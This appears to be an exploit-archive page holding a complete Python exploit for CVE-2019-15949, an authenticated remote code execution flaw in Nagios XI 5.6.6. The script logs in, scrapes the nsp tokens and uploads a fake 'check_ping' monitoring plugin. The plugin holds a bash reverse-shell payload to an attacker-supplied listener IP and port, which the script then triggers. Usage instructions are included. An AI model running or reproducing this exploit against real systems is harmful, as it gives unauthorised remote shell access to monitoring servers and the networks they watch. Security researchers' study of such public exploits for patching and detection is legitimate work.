2bc15f74f8
9 changes to exploits/shellcodes/ghdb InfluxDB OSS 2.7.11 - Operator Token Privilege Escalation Sony XAV-AX5500 1.13 - Firmware Update Validation Remote Code Execution (RCE) GeoVision GV-ASManager 6.1.0.0 - Information Disclosure Jasmin Ransomware - Arbitrary File Download (Authenticated) jQuery 3.3.1 - Prototype Pollution & XSS Exploit Nagios Xi 5.6.6 - Authenticated Remote Code Execution (RCE) UNA CMS 14.0.0-RC - PHP Object Injection WordPress User Registration & Membership Plugin 4.1.1 - Unauthenticated Privilege Escalation
90 lines
No EOL
3.7 KiB
Text
90 lines
No EOL
3.7 KiB
Text
# Exploit Title: Nagiosxi authenticated Remote Code Execution
|
||
# Date: 17/02/2024
|
||
# Exploit Author: Calil Khalil
|
||
# Vendor Homepage: https://www.nagios.com/products/nagios-xi/
|
||
# Version: Nagios Xi 5.6.6
|
||
# Tested on: Ubuntu
|
||
# CVE : CVE-2019-15949
|
||
|
||
#
|
||
# python3 exp.py -t https://<target>/ -b /<nagiosxi-path>/ -u user -p 'password' -lh <rev-ip> -lp <rev-port> -k (ignore cert)
|
||
#
|
||
|
||
import argparse
|
||
import re
|
||
import requests
|
||
import urllib3
|
||
|
||
class Nagiosxi():
|
||
def __init__(self, target, parameter, username, password, lhost, lport, ignore_ssl):
|
||
self.url = target
|
||
self.parameter = parameter
|
||
self.username = username
|
||
self.password = password
|
||
self.lhost = lhost
|
||
self.lport = lport
|
||
self.ignore_ssl = ignore_ssl
|
||
self.login()
|
||
|
||
def upload(self, session):
|
||
print("Uploading Malicious Check Ping Plugin")
|
||
upload_url = self.url + self.parameter + "/admin/monitoringplugins.php"
|
||
upload_token = session.get(upload_url, verify=not self.ignore_ssl)
|
||
nsp = re.findall('var nsp_str = "(.*)";', upload_token.text)
|
||
print("Upload NSP Token: " + nsp[0])
|
||
payload = "bash -c 'bash -i >& /dev/tcp/" + self.lhost + "/" + self.lport + " 0>&1'"
|
||
file_data = {
|
||
"upload": "1",
|
||
"nsp": nsp[0],
|
||
"MAX_FILE_SIZE": "20000000"
|
||
}
|
||
file_upload = {
|
||
"uploadedfile": ("check_ping", payload, "application/octet-stream", {"Content-Disposition": "form-data"})
|
||
}
|
||
session.post(upload_url, data=file_data, files=file_upload, verify=not self.ignore_ssl)
|
||
payload_url = self.url + self.parameter + "/includes/components/profile/profile.php?cmd=download"
|
||
session.get(payload_url, verify=not self.ignore_ssl)
|
||
|
||
def login(self):
|
||
session = requests.Session()
|
||
login_url = self.url + self.parameter + "/login.php"
|
||
token = session.get(login_url, verify=not self.ignore_ssl)
|
||
nsp = re.findall('name="nsp" value="(.*)">', token.text)
|
||
print("Login NSP Token: " + nsp[0])
|
||
post_data = {
|
||
"nsp": nsp[0],
|
||
"page": "auth",
|
||
"debug": "",
|
||
"pageopt": "login",
|
||
"redirect": "",
|
||
"username": self.username,
|
||
"password": self.password,
|
||
"loginButton": ""
|
||
}
|
||
login = session.post(login_url, data=post_data, verify=not self.ignore_ssl)
|
||
if "Home Dashboard" in login.text:
|
||
print("Logged in!")
|
||
else:
|
||
print("Unable to login!")
|
||
self.upload(session)
|
||
|
||
if __name__ == "__main__":
|
||
parser = argparse.ArgumentParser(description='CVE-2019–15949 Nagiosxi authenticated Remote Code Execution')
|
||
parser.add_argument('-t', metavar='<Target base URL>', help='Example: -t http://nagios.url/', required=True)
|
||
parser.add_argument('-b', metavar='<Base Directory>', help="Example: -b /nagiosxi/", required=True)
|
||
parser.add_argument('-u', metavar='<Username>', help="Example: -a username", required=True)
|
||
parser.add_argument('-p', metavar='<Password>', help="Example: -p 'password'", required=True)
|
||
parser.add_argument('-lh', metavar='<Listener IP>', help="Example: -lh 127.0.0.1", required=True)
|
||
parser.add_argument('-lp', metavar='<Listener Port>', help="Example: -lp 1337", required=True)
|
||
parser.add_argument('-k', action='store_true', help="Ignore SSL certificate verification")
|
||
args = parser.parse_args()
|
||
|
||
|
||
urllib3.disable_warnings()
|
||
|
||
try:
|
||
print('CVE-2019-15949 Nagiosxi authenticated Remote Code Execution')
|
||
Nagiosxi(args.t, args.b, args.u, args.p, args.lh, args.lp, args.k)
|
||
except KeyboardInterrupt:
|
||
print("\nBye Bye!")
|
||
exit() |